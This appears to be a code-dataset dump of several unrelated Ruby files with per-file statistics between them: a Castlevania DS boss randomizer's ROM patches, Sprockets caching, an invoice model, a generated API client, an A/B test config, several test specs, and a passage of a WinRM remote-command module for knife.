magnes_point_1.y_pos = 0x28 magnes_point_1.write_to_rom() magnes_point_2 = boss_entity.room.add_new_entity() magnes_point_2.type = SPECIAL_OBJECT_ENTITY_TYPE magnes_point_2.subtype = 1 magnes_point_2.x_pos = boss_entity.room.width * SCREEN_WIDTH_IN_PIXELS - 0x40 magnes_point_2.y_pos = 0x28 magnes_point_2.write_to_rom() when "Giant Skeleton" boss_entity.var_a = 1 # Boss version of the Giant Skeleton boss_entity.var_b = 0 # Faces the player when they enter the room. # The boss version of the Giant Skeleton doesn't wake up until the searchlight is on him, but there's no searchlight in other boss rooms. # So we modify the line of code that checks if he should wake up to use the code for the common enemy Giant Skeleton instead. game.fs.write(0x02277EFC, [0xE3A01000].pack("V")) when "Maneater" boss_entity.x_pos = boss_entity.room.width * SCREEN_WIDTH_IN_PIXELS / 2 boss_entity.y_pos = 0xB0 when "Rusalka" boss_entity.x_pos = boss_entity.room.width * SCREEN_WIDTH_IN_PIXELS / 2 boss_entity.y_pos = 0xA0 # TODO: rusalka (in barlowe's room at least) doesn't play all sound effects, and her splash attack is invisible. when "Gravedorcus" # Gravedorcus normally crashes because it calls functions in Oblivion Ridge's sector overlay. # It's possible to avoid the crashes by replacing all calls in the missing sector overlay with "mov r0, 0h". # These are the known places Gravedorcus makes calls like that: # 0x022BA234 # 0x022BA23C # 0x022BA270 # 0x022BA278 # 0x022B8400 # 0x022B8430 # 0x022B954C # 0x022B9554 # However Gravedorcus constantly goes offscreen in any boss room besides its own because the room isn't wide enough, so it's not the most interesting boss to randomize. when "Albus" if !["Albus", "Barlowe"].include?(old_boss.name) # We don't want Albus to reload the room when he dies in most boss rooms. # Only for Albus or Barlowe's rooms since those have a cutscene that needs to play after it. game.fs.load_overlay(36) game.fs.write(0x022B8DB4, [0xEA000008].pack("V")) # "b 022B8DDCh" Always jump to the code he would use in Albus/boss rush mode end when "Barlowe" if !["Albus", "Barlowe"].include?(old_boss.name) # We don't want Barlowe to reload the room when he dies in most boss rooms. # Only for Albus or Barlowe's rooms since those have a cutscene that needs to play after it. game.fs.load_overlay(37) game.fs.write(0x022B8230, [0xEA00000D].pack("V")) # "b 022B826Ch" Always jump to the code he would use in Albus mode end when "Wallman" # We don't want Wallman to be offscreen because then he's impossible to defeat. boss_entity.x_pos = 0xCC boss_entity.y_pos = 0xAF when "Blackmore" # Blackmore needs to be in this position or he becomes very aggressive and corners the player up against the wall. boss_entity.x_pos = 0x100 boss_entity.y_pos = 0xA0 when "Death" boss_entity.x_pos = boss_entity.room.width * SCREEN_WIDTH_IN_PIXELS / 2 boss_entity.y_pos = 0x70 if old_boss.name != "Death" # Death knows when to come out of the background by checking the relative scroll positions of two of the background layers. # But when placed into a room that doesn't scroll the same as his vanilla room he will never come out of the background, softlocking the game. # So remove the background scrolling requirement and have him immediately come out of the background. game.fs.load_overlay(25) game.fs.write(0x022BBD68, [0xE1A00000].pack("V")) # nop end when "Jiang Shi" unless old_boss.name == "Jiang Shi" # Jiang Shi needs a special object in his room for the boss doors to open since he doesn't die. room = boss_entity.room door_opener = Entity.new(room, room.fs) door_opener.y_pos = 0x80 door_opener.type = 2 door_opener.subtype = 0x24 door_opener.var_a = 1 room.entities << door_opener room.write_entities_to_rom() end end end DOS_FINAL_BOSS_TELEPORT_DATA = { :menace => [0xA, 0, 2, 0x80, 0xA0].pack("CCvvv"), :somacula => [0x10, 0, 2, 0x1A0, 0xB0].pack("CCvvv"), } def dos_set_soma_mode_final_boss(final_boss_name) return unless GAME == "dos" final_boss_tele_data = DOS_FINAL_BOSS_TELEPORT_DATA[final_boss_name] if final_boss_tele_data.nil? raise "Invalid final boss name: #{final_boss_name}" end game.fs.write(0x0222BE14, final_boss_tele_data) end # Menace doesn't appear in Julius mode. #def dos_set_julius_mode_final_boss(final_boss_name) # return unless GAME == "dos" # # final_boss_tele_data = DOS_FINAL_BOSS_TELEPORT_DATA[final_boss_name] # if final_boss_tele_data.nil? # raise "Invalid final boss name: #{final_boss_name}" # end # # game.fs.write(0x0222BE1C, final_boss_tele_data) #end def dos_randomize_final_boss return unless GAME == "dos" soma_mode_final_boss = [:menace, :somacula].sample(random: rng) dos_set_soma_mode_final_boss(soma_mode_final_boss) #julius_mode_final_boss = [:menace, :somacula].sample(random: rng) #dos_set_julius_mode_final_boss(julius_mode_final_boss) end def update_boss_doors(old_boss_id, new_boss_id, boss_entity) # Update the boss doors for the new boss old_boss_index = BOSS_ID_TO_BOSS_INDEX[old_boss_id] || 0 new_boss_index = BOSS_ID_TO_BOSS_INDEX[new_boss_id] || 0 rooms_to_check = [boss_entity.room] rooms_to_check += boss_entity.room.connected_rooms rooms_to_check.each do |room| room.entities.each do |entity| if entity.type == 0x02 && entity.subtype == BOSS_DOOR_SUBTYPE && entity.var_b == old_boss_index entity.var_b = new_boss_index entity.write_to_rom() end end end if GAME == "dos" # Make the boss door use the same seal as the boss that was originally in this position so progression isn't affected. original_boss_door_seal = @original_boss_seals[old_boss_index] game.fs.write(MAGIC_SEAL_FOR_BOSS_LIST_START+new_boss_index*4, [original_boss_door_seal].pack("V")) end end def remove_boss_cutscenes # Boss cutscenes usually don't work without the original boss. obj_subtypes_to_remove = case GAME when "dos" [0x61, 0x63, 0x64, 0x69] when "por" [0x9A, 0x9D, 0xA0] when "ooe" [] end game.each_room do |room| room.entities.each do |entity| if entity.is_special_object? && obj_subtypes_to_remove.include?(entity.subtype) entity.type = 0 entity.write_to_rom() end end end if GAME == "dos" dmitriis_malachi = game.areas[0].sectors[4].rooms[0x10].entities[6] dmitriis_malachi.type = 0 dmitriis_malachi.write_to_rom() end end end
43.465116
259
0.673703
bf0c105e0eaf17076f64e552d0eda1ef34f40b05
2,821
module Sprockets # `Caching` is an internal mixin whose public methods are exposed on # the `Environment` and `Index` classes. module Caching protected # Cache helper method. Takes a `path` argument which maybe a # logical path or fully expanded path. The `&block` is passed # for finding and building the asset if its not in cache. def cache_asset(path) # If `cache` is not set, return fast if cache.nil? yield # Check cache for `path` elsif (asset = Asset.from_hash(self, cache_get_hash(path.to_s))) && asset.fresh?(self) asset # Otherwise yield block that slowly finds and builds the asset elsif asset = yield hash = {} asset.encode_with(hash) # Save the asset to its path cache_set_hash(path.to_s, hash) # Since path maybe a logical or full pathname, save the # asset its its full path too if path.to_s != asset.pathname.to_s cache_set_hash(asset.pathname.to_s, hash) end asset end end private # Strips `Environment#root` from key to make the key work # consisently across different servers. The key is also hashed # so it does not exceed 250 characters. def expand_cache_key(key) File.join('sprockets', digest_class.hexdigest(key.sub(root, ''))) end def cache_get_hash(key) hash = cache_get(expand_cache_key(key)) if hash.is_a?(Hash) && digest.hexdigest == hash['_version'] hash end end def cache_set_hash(key, hash) hash['_version'] = digest.hexdigest cache_set(expand_cache_key(key), hash) hash end # Low level cache getter for `key`. Checks a number of supported # cache interfaces. def cache_get(key) # `Cache#get(key)` for Memcache if cache.respond_to?(:get) cache.get(key) # `Cache#[key]` so `Hash` can be used elsif cache.respond_to?(:[]) cache[key] # `Cache#read(key)` for `ActiveSupport::Cache` support elsif cache.respond_to?(:read) cache.read(key) else nil end end # Low level cache setter for `key`. Checks a number of supported # cache interfaces. def cache_set(key, value) # `Cache#set(key, value)` for Memcache if cache.respond_to?(:set) cache.set(key, value) # `Cache#[key]=value` so `Hash` can be used elsif cache.respond_to?(:[]=) cache[key] = value # `Cache#write(key, value)` for `ActiveSupport::Cache` support elsif cache.respond_to?(:write) cache.write(key, value) end value end end end
29.082474
94
0.589153
392f545f2ebacf410b0a5361628e304f6d812a11
1,635
module Payday # Basically just an invoice. Stick a ton of line items in it, add some details, and then render it out! class Invoice include Payday::Invoiceable attr_accessor :invoice_number, :bill_to, :ship_to, :notes, :line_items, :shipping_rate, :shipping_description, :tax_rate, :tax_description, :due_at, :paid_at, :refunded_at, :currency, :invoice_details, :invoice_date, :company_name, :company_details def initialize(options = {}) self.invoice_number = options[:invoice_number] || nil self.bill_to = options[:bill_to] || nil self.ship_to = options[:ship_to] || nil self.notes = options[:notes] || nil self.line_items = options[:line_items] || [] self.shipping_rate = options[:shipping_rate] || nil self.shipping_description = options[:shipping_description] || nil self.tax_rate = options[:tax_rate] || nil self.tax_description = options[:tax_description] || nil self.due_at = options[:due_at] || nil self.paid_at = options[:paid_at] || nil self.refunded_at = options[:refunded_at] || nil self.currency = options[:currency] || nil self.invoice_details = options[:invoice_details] || [] self.invoice_date = options[:invoice_date] || nil self.company_name = options[:company_name] || nil self.company_details = options[:company_details] || nil end # The tax rate that we're applying, as a BigDecimal def tax_rate=(value) @tax_rate = BigDecimal(value.to_s) end # Shipping rate def shipping_rate=(value) @shipping_rate = BigDecimal(value.to_s) end end end
39.878049
114
0.677676
abdece39381d737446dc09850aa26d3e947b916b
2,612
=begin #DockGenius API #No descripton provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) OpenAPI spec version: 0.1.0 Contact: [email protected] Generated by: https://github.com/swagger-api/swagger-codegen.git Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. =end # Common files require 'dock_genius_api_ruby_client/api_client' require 'dock_genius_api_ruby_client/api_error' require 'dock_genius_api_ruby_client/version' require 'dock_genius_api_ruby_client/configuration' # Models require 'dock_genius_api_ruby_client/models/access_token' require 'dock_genius_api_ruby_client/models/address' require 'dock_genius_api_ruby_client/models/customer' require 'dock_genius_api_ruby_client/models/dock' require 'dock_genius_api_ruby_client/models/email_address' require 'dock_genius_api_ruby_client/models/geo_point' require 'dock_genius_api_ruby_client/models/inline_response_200' require 'dock_genius_api_ruby_client/models/inline_response_200_1' require 'dock_genius_api_ruby_client/models/inline_response_200_2' require 'dock_genius_api_ruby_client/models/listing_agent' require 'dock_genius_api_ruby_client/models/marina' require 'dock_genius_api_ruby_client/models/parameter' require 'dock_genius_api_ruby_client/models/parameter_assignment' require 'dock_genius_api_ruby_client/models/phone' require 'dock_genius_api_ruby_client/models/unit_of_measurement' # APIs require 'dock_genius_api_ruby_client/api/customer_api' require 'dock_genius_api_ruby_client/api/dock_api' require 'dock_genius_api_ruby_client/api/marina_api' require 'dock_genius_api_ruby_client/api/parameter_api' require 'dock_genius_api_ruby_client/api/unit_of_measurement_api' module DockGeniusApiRubyClient class << self # Customize default settings for the SDK using block. # DockGeniusApiRubyClient.configure do |config| # config.username = "xxx" # config.password = "xxx" # end # If no block given, return the default Configuration object. def configure if block_given? yield(Configuration.default) else Configuration.default end end end end
36.788732
101
0.819678
390ccb20bc7b0ff2f8dcb31ce1decc43b0429cd1
1,792
class TestTrack::ABConfiguration include TestTrack::RequiredOptions def initialize(opts) @split_name = require_option!(opts, :split_name).to_s true_variant = require_option!(opts, :true_variant, allow_nil: true) @split_registry = require_option!(opts, :split_registry, allow_nil: true) raise ArgumentError, "unknown opts: #{opts.keys.to_sentence}" if opts.present? @true_variant = true_variant.to_s if true_variant raise ArgumentError, unknown_split_error_message if @split_registry && !split end def variants @variants ||= build_variant_hash end private def build_variant_hash if split_variants && split_variants.size > 2 # rubocop:disable Style/SafeNavigation notify_because_ab("configures split with more than 2 variants") end { true: true_variant, false: false_variant } end def true_variant @true_variant ||= true end def false_variant @false_variant ||= non_true_variants.present? ? non_true_variants.sort.first : false end attr_reader :split_name, :split_registry def unknown_split_error_message error_message = "unknown split: #{split_name}." error_message << " You may need to run rake test_track:schema:load" if Rails.env.development? error_message end def split split_registry && split_registry['splits'][split_name] && split_registry['splits'][split_name]['weights'] end def split_variants @split_variants ||= split.keys if split_registry end def non_true_variants split_variants - [true_variant.to_s] if split_variants end def notify_because_ab(msg) misconfiguration_notifier.notify("A/B for \"#{split_name}\" #{msg}") end def misconfiguration_notifier @misconfiguration_notifier ||= TestTrack.misconfiguration_notifier end end
28
109
0.743304
6aec1d0b53ad8849bca5d5805bd3b6dffff44c65
1,051
Pod::Spec.new do |s| s.name = "VKFoundation" s.version = "0.1.0" s.summary = "VKFoundation provides convinient utilities that is used in Viki." s.homepage = "https://github.com/viki-org/VKFoundation" s.license = 'Apache License, Version 2.0' s.author = { "Keisuke Matsuo" => "[email protected]" } s.source = { :git => "https://github.com/viki-org/VKFoundation.git", :tag => s.version.to_s } s.platform = :ios, '6.0' s.ios.deployment_target = '6.0' s.requires_arc = true s.source_files = 'Classes/ios/*.{h,m}' s.resources = 'Assets/*.{png,plist}' s.ios.exclude_files = 'Classes/osx' s.osx.exclude_files = 'Classes/ios' s.public_header_files = 'Classes/**/*.h' s.dependency 'Reachability', '~> 3.1.1' s.dependency 'DTCoreText', '~> 1.6.11' s.dependency 'SBJson', '~> 4.0.1' s.dependency 'CocoaLumberjack', '~> 1.7.0' s.dependency 'BlocksKit', '~> 2.2.0' s.dependency 'FXImageView', '~> 1.3.3' I18n.enforce_available_locales = false end
35.033333
105
0.607992
d564e1a038ca458e31ce0c2cb214d251adb52d23
525
require 'simplecov' require 'bundler/setup' SimpleCov.start do add_filter '/spec/' end Bundler.require require 'toros' RSpec.configure do |config| config.expect_with :rspec do |expectations| expectations.include_chain_clauses_in_custom_matcher_descriptions = true expectations.on_potential_false_positives = :nothing end config.mock_with :rspec do |mocks| mocks.verify_partial_doubles = true end config.shared_context_metadata_behavior = :apply_to_host_groups config.profile_examples = true end
22.826087
76
0.79619
876e03ef1385861c0673a3b091ac973663c4cdb4
66
module Coveralls module Cobertura VERSION='1.0.0' end end
11
19
0.69697
336b2f009166a89321a231d2e6e55226a5907c96
900
class Users::OmniauthCallbacksController < Devise::OmniauthCallbacksController def facebook #Store facebook oauth token for session (nasty) oauth_token = request.env["omniauth.auth"].credentials.token session["oauth_token"] = oauth_token # You need to implement the method below in your model @user = User.find_for_facebook_oauth(request.env["omniauth.auth"], current_user) if @user.persisted? flash[:notice] = I18n.t "devise.omniauth_callbacks.success", :kind => "Facebook" sign_in_and_redirect @user, :event => :authentication else session["devise.facebook_data"] = request.env["omniauth.auth"] redirect_to new_user_registration_url end end def passthru render :file => "#{Rails.root}/public/404.html", :status => 404, :layout => false # Or alternatively, # raise ActionController::RoutingError.new('Not Found') end end
37.5
86
0.715556
ab7596b87cd9fdbef2611421333dd66efc5f4af0
235
require 'pry' require 'nokogiri' require 'open-uri' require_relative '../lib/afi_searcher/cli' require_relative '../lib/afi_searcher/scraper' require_relative '../lib/afi_searcher/movies' require_relative '../lib/afi_searcher/version'
29.375
46
0.791489
287c0139cf1e72e1f6b535aebff66f4c50745b19
909
# # Cookbook Name:: oneview_test_api300_synergy # Recipe:: ethernet_network_create # # (c) Copyright 2016 Hewlett Packard Enterprise Development LP # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software distributed # under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR # CONDITIONS OF ANY KIND, either express or implied. See the License for the # specific language governing permissions and limitations under the License. # oneview_ethernet_network 'EthNet1' do client node['oneview_test']['client'] data( vlanId: '1001', purpose: 'General', smartLink: false, privateNetwork: false, connectionTemplateUri: nil ) end
33.666667
84
0.752475
7947fadba679de9b42faac243d18b541ef428867
5,537
# Copyright 2017 Google Inc. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. require "helper" describe Google::Cloud::Spanner::Client, :transaction, :mock_spanner do let(:instance_id) { "my-instance-id" } let(:database_id) { "my-database-id" } let(:session_id) { "session123" } let(:session_grpc) { Google::Spanner::V1::Session.new name: session_path(instance_id, database_id, session_id) } let(:session) { Google::Cloud::Spanner::Session.from_grpc session_grpc, spanner.service } let(:transaction_id) { "tx789" } let(:transaction_grpc) { Google::Spanner::V1::Transaction.new id: transaction_id } let(:transaction) { Google::Cloud::Spanner::Transaction.from_grpc transaction_grpc, session } let(:tx_selector) { Google::Spanner::V1::TransactionSelector.new id: transaction_id } let(:default_options) { Google::Gax::CallOptions.new kwargs: { "google-cloud-resource-prefix" => database_path(instance_id, database_id) } } let :results_hash do { metadata: { rowType: { fields: [ { name: "id", type: { code: "INT64" } }, { name: "name", type: { code: "STRING" } }, { name: "active", type: { code: "BOOL" } }, { name: "age", type: { code: "INT64" } }, { name: "score", type: { code: "FLOAT64" } }, { name: "updated_at", type: { code: "TIMESTAMP" } }, { name: "birthday", type: { code: "DATE"} }, { name: "avatar", type: { code: "BYTES" } }, { name: "project_ids", type: { code: "ARRAY", arrayElementType: { code: "INT64" } } } ] } }, values: [ { stringValue: "1" }, { stringValue: "Charlie" }, { boolValue: true}, { stringValue: "29" }, { numberValue: 0.9 }, { stringValue: "2017-01-02T03:04:05.060000000Z" }, { stringValue: "1950-01-01" }, { stringValue: "aW1hZ2U=" }, { listValue: { values: [ { stringValue: "1"}, { stringValue: "2"}, { stringValue: "3"} ]}} ] } end let(:results_json) { results_hash.to_json } let(:results_grpc) { Google::Spanner::V1::PartialResultSet.decode_json results_json } let(:results_enum) { Array(results_grpc).to_enum } let(:client) { spanner.client instance_id, database_id, pool: { min: 0 } } let(:tx_opts) { Google::Spanner::V1::TransactionOptions.new(read_write: Google::Spanner::V1::TransactionOptions::ReadWrite.new) } after do # Close the client and release the keepalive thread client.instance_variable_get(:@pool).all_sessions = [] client.close end it "can execute a simple query" do mock = Minitest::Mock.new mock.expect :create_session, session_grpc, [database_path(instance_id, database_id), options: default_options] mock.expect :begin_transaction, transaction_grpc, [session_grpc.name, tx_opts, options: default_options] mock.expect :execute_streaming_sql, results_enum, [session_grpc.name, "SELECT * FROM users", transaction: tx_selector, params: nil, param_types: nil, resume_token: nil, options: default_options] # transaction checkin mock.expect :begin_transaction, transaction_grpc, [session_grpc.name, tx_opts, options: default_options] spanner.service.mocked_service = mock results = nil client.transaction do |tx| tx.must_be_kind_of Google::Cloud::Spanner::Transaction results = tx.execute "SELECT * FROM users" end mock.verify assert_results results end def assert_results results results.must_be_kind_of Google::Cloud::Spanner::Results results.fields.wont_be :nil? results.fields.must_be_kind_of Google::Cloud::Spanner::Fields results.fields.keys.count.must_equal 9 results.fields[:id].must_equal :INT64 results.fields[:name].must_equal :STRING results.fields[:active].must_equal :BOOL results.fields[:age].must_equal :INT64 results.fields[:score].must_equal :FLOAT64 results.fields[:updated_at].must_equal :TIMESTAMP results.fields[:birthday].must_equal :DATE results.fields[:avatar].must_equal :BYTES results.fields[:project_ids].must_equal [:INT64] rows = results.rows.to_a # grab them all from the enumerator rows.count.must_equal 1 row = rows.first row.must_be_kind_of Google::Cloud::Spanner::Data row.keys.must_equal [:id, :name, :active, :age, :score, :updated_at, :birthday, :avatar, :project_ids] row[:id].must_equal 1 row[:name].must_equal "Charlie" row[:active].must_equal true row[:age].must_equal 29 row[:score].must_equal 0.9 row[:updated_at].must_equal Time.parse("2017-01-02T03:04:05.060000000Z") row[:birthday].must_equal Date.parse("1950-01-01") row[:avatar].must_be_kind_of StringIO row[:avatar].read.must_equal "image" row[:project_ids].must_equal [1, 2, 3] end end
43.944444
198
0.651616
d5e1acafea19eefe908183b85017768a3366d53b
1,750
require "rails_helper" RSpec.describe PlanCategory, :type => :model do it_behaves_like "a yearly model" let(:cat) { create :plan_category } let(:plan) { create :plan, plan_category: cat } let(:attendee) { create :attendee } before(:each) do plan.attendees << attendee end it "has a valid factory" do expect(build(:plan_category)).to be_valid end describe "#attendee_count" do it "returns the number of attendees in all plans" do expect(cat.attendee_count).to eq(1) end end describe "#destroy" do it "raises an error if an attendee has selected one of its plans" do expect { cat.destroy }.to raise_error(ActiveRecord::DeleteRestrictionError) end end describe ".age_appropriate" do it "returns categories with at least one age appropriate plan" do bad_cat = create :plan_category create :plan, plan_category: bad_cat, age_min: 0, age_max: 12 good_cat = create :plan_category create :plan, plan_category: good_cat, age_min: 13, age_max: 18 create :plan, plan_category: good_cat, age_min: 0, age_max: 12 good_cat_two = create :plan_category create :plan, plan_category: good_cat_two, age_min: 10, age_max: 13 actual = PlanCategory.age_appropriate(13) expect(actual).not_to include(bad_cat) expect(actual).to match_array([good_cat, good_cat_two, cat]) end end describe ".nonempty" do it "returns categories with at least one plan" do cat_with_plan = create :plan_category create :plan, plan_category: cat_with_plan empty_cat = create :plan_category expect(PlanCategory.nonempty).to include(cat_with_plan) expect(PlanCategory.nonempty).not_to include(empty_cat) end end end
31.818182
81
0.705143
79ff90d4ca02c3f310683427a577271fbb86204b
93
require 'test_helper' module Lit class SourcesHelperTest < ActionView::TestCase end end
13.285714
48
0.784946
39038f66c87d430d230d62dfe7c17ec323493639
161
require 'test_helper' module SimpleFormCreator class QuestionTest < ActiveSupport::TestCase # test "the truth" do # assert true # end end end
16.1
46
0.695652
7947b1bad9af203127bec3d2cd22d8f27ca47d3e
5,697
# frozen_string_literal: true describe RatingAtIssue do let(:disability_sn) { "1234" } let(:diagnostic_code) { "7611" } let(:reference_id) { "1555" } let(:latest_disability_date) { Time.zone.today - 6.days } let(:claim_type_code) { "030HLRRPMC" } let(:profile_date) { Time.zone.today - 5.days } let(:promulgation_date) { Time.zone.today - 4.days } let(:participant_id) { "participant_id" } let(:rating_sequence_number) { "rating_sn" } let(:issue_data) do { rba_issue: [ { rba_issue_id: reference_id, decn_txt: "Left knee granted", dis_sn: disability_sn } ] } end let(:disability_data) do { disability: [{ dis_sn: disability_sn, decn_tn: "Service Connected", dis_dt: Time.zone.today - 6.days, disability_evaluation: [ { dgnstc_tc: diagnostic_code, dgnstc_txt: "Diagnostic text", dgnstc_tn: "Diagnostic type name", dis_dt: latest_disability_date, begin_dt: latest_disability_date, conv_begin_dt: latest_disability_date, dis_sn: disability_sn, rating_sn: rating_sequence_number, rba_issue_id: reference_id }, { dgnstc_tc: "9999", dis_dt: Time.zone.today - 7.days, # older evaluation dis_sn: disability_sn } ] }] } end let(:claim_data) do { rba_claim: { bnft_clm_tc: claim_type_code, clm_id: reference_id } } end let(:bgs_record) do { prfl_dt: profile_date, ptcpnt_vet_id: participant_id, prmlgn_dt: promulgation_date, rba_issue_list: issue_data, disability_list: disability_data, rba_claim_list: claim_data } end context ".fetch_all" do let(:receipt_date) { Time.zone.today - 50.years } subject { RatingAtIssue.fetch_all("DRAYMOND") } let!(:rating) do Generators::RatingAtIssue.build( participant_id: "DRAYMOND", promulgation_date: receipt_date - 370.days ) end let!(:untimely_rating) do Generators::RatingAtIssue.build( participant_id: "DRAYMOND", promulgation_date: receipt_date - 100.years ) end let!(:unpromulgated_rating) do Generators::RatingAtIssue.build( participant_id: "DRAYMOND", promulgation_date: nil ) end it "returns rating objects for all ratings" do expect(subject.count).to eq(3) end context "on NoRatingsExistForVeteran error" do subject { RatingAtIssue.fetch_all("FOOBAR") } it "returns empty array" do expect(subject.count).to eq(0) end end end context ".fetch_promulgated" do let(:receipt_date) { Time.zone.today - 50.years } subject { RatingAtIssue.fetch_promulgated("DRAYMOND") } let!(:unpromulgated_rating) do Generators::RatingAtIssue.build( participant_id: "DRAYMOND", promulgation_date: nil ) end let!(:promulgated_rating) do Generators::RatingAtIssue.build( participant_id: "DRAYMOND", promulgation_date: receipt_date - 100.days ) end it "returns only promulgated ratings" do expect(subject.count).to eq(1) end end context ".from_bgs_hash" do subject { RatingAtIssue.from_bgs_hash(bgs_record) } it { is_expected.to be_a(Rating) } it do is_expected.to have_attributes( participant_id: participant_id, profile_date: profile_date, promulgation_date: promulgation_date ) end it "is expected to have a rating profile" do expect(subject.rating_profile).to_not be_nil end it "is expected to have correct issue data" do expect(subject.issues.count).to eq(1) issue = subject.issues.first expect(issue).to be_a(RatingIssue) # This should be the code from the most recent issue expect(issue.diagnostic_code).to eq(diagnostic_code) expect(issue.reference_id).to eq(reference_id) end it "is expected to have correct associated end product data" do end_product = subject.associated_end_products.first expect(end_product.claim_id).to eq reference_id expect(end_product.claim_type_code).to eq claim_type_code end it "is expected to identify pension claims" do expect(subject.pension?).to eq true end context "when contestable_rating_decisions is enabled" do before { FeatureToggle.enable!(:contestable_rating_decisions) } after { FeatureToggle.disable!(:contestable_rating_decisions) } it "is expected to have correct rating decision data" do decision = subject.decisions.first expect(decision).to be_a(RatingDecision) expect(decision).to have_attributes( type_name: "Service Connected", rating_sequence_number: rating_sequence_number, rating_issue_reference_id: reference_id, disability_date: latest_disability_date, disability_id: disability_sn, diagnostic_text: "Diagnostic text", diagnostic_type: "Diagnostic type name", diagnostic_code: diagnostic_code, begin_date: latest_disability_date, converted_begin_date: latest_disability_date, original_denial_date: nil, original_denial_indicator: nil, previous_rating_sequence_number: nil, profile_date: profile_date, promulgation_date: promulgation_date, participant_id: participant_id, benefit_type: :pension ) end end end end
27.389423
69
0.644374
e256746823d32de77b61f4a624595bcabfe97ea2
11,793
# # Original knife-windows author:: Steven Murawski (<[email protected]) # Copyright:: Copyright (c) 2015-2016 Chef Software, Inc. # License:: Apache License, Version 2.0 # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # require 'chef/knife' require 'chef/knife/winops_winrm_base' require 'chef/knife/winops_winrm_shared_options' require 'chef/knife/winops_knife_windows_base' class Chef class Knife module WinrmCommandCommon FAILED_BASIC_HINT ||= "Hint: Please check winrm configuration 'winrm get winrm/config/service' AllowUnencrypted flag on remote server." FAILED_NOT_BASIC_HINT ||= <<-eos.gsub /^\s+/, "" Hint: Make sure to prefix domain usernames with the correct domain name. Hint: Local user names should be prefixed with computer name or IP address. EXAMPLE: my_domain\\user_namer eos def self.included(includer) includer.class_eval do @@ssl_warning_given = false include Chef::Knife::WinrmCore include Chef::Knife::WinrmOptions include Chef::Knife::KnifeWindowsCore def validate_winrm_options! winrm_auth_protocol = locate_config_value(:winrm_authentication_protocol) if ! Chef::Knife::WinrmCore::WINRM_AUTH_PROTOCOL_LIST.include?(winrm_auth_protocol) ui.error "Invalid value '#{winrm_auth_protocol}' for --winrm-authentication-protocol option." ui.info "Valid values are #{Chef::Knife::WinrmCore::WINRM_AUTH_PROTOCOL_LIST.join(",")}." exit 1 end warn_no_ssl_peer_verification if resolve_no_ssl_peer_verification end #Overrides Chef::Knife#configure_session, as that code is tied to the SSH implementation #Tracked by Issue # 3042 / https://github.com/chef/chef/issues/3042 def configure_session validate_winrm_options! resolve_session_options resolve_target_nodes session_from_list end def resolve_target_nodes @list = case config[:manual] when true @name_args[0].split(" ") when false r = Array.new q = Chef::Search::Query.new @action_nodes = q.search(:node, @name_args[0])[0] @action_nodes.each do |item| i = extract_nested_value(item, config[:attribute]) r.push(i) unless i.nil? end r end if @list.length == 0 if @action_nodes.length == 0 ui.fatal("No nodes returned from search!") else ui.fatal("#{@action_nodes.length} #{@action_nodes.length > 1 ? "nodes":"node"} found, " + "but does not have the required attribute (#{config[:attribute]}) to establish the connection. " + "Try setting another attribute to open the connection using --attribute.") end exit 10 end end # TODO: Copied from Knife::Core:GenericPresenter. Should be extracted def extract_nested_value(data, nested_value_spec) nested_value_spec.split(".").each do |attr| if data.nil? nil # don't get no method error on nil elsif data.respond_to?(attr.to_sym) data = data.send(attr.to_sym) elsif data.respond_to?(:[]) data = data[attr] else data = begin data.send(attr.to_sym) rescue NoMethodError nil end end end ( !data.kind_of?(Array) && data.respond_to?(:to_hash) ) ? data.to_hash : data end def run_command(command = '') relay_winrm_command(command) check_for_errors! @exit_code end def relay_winrm_command(command) Chef::Log.debug(command) @session_results = [] queue = Queue.new @winrm_sessions.each { |s| queue << s } # These nils will kill the Threads once no more sessions are left locate_config_value(:concurrency).times { queue << nil } threads = [] locate_config_value(:concurrency).times do threads << Thread.new do while session = queue.pop run_command_in_thread(session, command) end end end threads.map(&:join) @session_results end private def run_command_in_thread(s, command) @session_results << s.relay_command(command) rescue WinRM::WinRMHTTPTransportError, WinRM::WinRMAuthorizationError => e if authorization_error?(e) if ! config[:suppress_auth_failure] # Display errors if the caller hasn't opted to retry ui.error "Failed to authenticate to #{s.host} as #{locate_config_value(:winrm_user)}" ui.info "Response: #{e.message}" ui.info get_failed_authentication_hint raise e end else raise e end end def get_failed_authentication_hint if @session_opts[:basic_auth_only] FAILED_BASIC_HINT else FAILED_NOT_BASIC_HINT end end def authorization_error?(exception) exception.is_a?(WinRM::WinRMAuthorizationError) || exception.message =~ /401/ end def check_for_errors! @exit_code ||= 0 @winrm_sessions.each do |session| session_exit_code = session.exit_code unless success_return_codes.include? session_exit_code.to_i @exit_code = [@exit_code, session_exit_code.to_i].max ui.error "Failed to execute command on #{session.host} return code #{session_exit_code}" end end end def success_return_codes #Redundant if the CLI options parsing occurs return [0] unless config[:returns] return @success_return_codes ||= config[:returns].split(',').collect {|item| item.to_i} end def session_from_list @list.each do |item| Chef::Log.debug("Adding #{item}") @session_opts[:host] = item create_winrm_session(@session_opts) end end def create_winrm_session(options={}) session = Chef::Knife::WinrmSession.new(options) @winrm_sessions ||= [] @winrm_sessions.push(session) end def resolve_session_options @session_opts = { user: resolve_winrm_user, password: locate_config_value(:winrm_password), port: locate_config_value(:winrm_port), operation_timeout: resolve_winrm_session_timeout, basic_auth_only: 